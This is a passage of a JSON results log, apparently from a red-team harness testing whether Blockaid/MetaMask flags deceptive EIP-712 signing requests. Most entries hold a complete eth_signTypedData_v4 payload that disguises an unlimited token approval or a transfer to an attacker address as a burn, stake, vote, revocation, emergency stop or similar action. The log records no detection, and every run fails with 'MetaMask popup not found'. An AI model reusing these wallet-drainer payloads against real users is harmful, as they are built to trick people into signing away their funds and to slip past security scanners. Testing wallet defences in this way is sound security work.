Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:33:08.230Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:33:17.789Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:33:27.346Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:33:36.899Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:33:46.459Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:33:56.018Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:34:05.577Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:34:15.130Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:34:24.682Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:34:34.236Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:34:43.797Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:34:53.344Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:35:02.903Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN48-EIP3009-022", "timestamp": "2026-01-31T18:35:12.445Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0ee83c5f0aa14dcacc01e45995c631b3ed652f1601c247b5f1a4e1f9d99fe6ed\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN48-EIP3009-054", "timestamp": "2026-01-31T18:35:22.005Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3104a3fbec1958b34bc8aacb378650bddba734761729a14221e96d922d851733\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:35:31.564Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:35:41.131Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:35:50.676Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:36:00.237Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:36:09.779Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 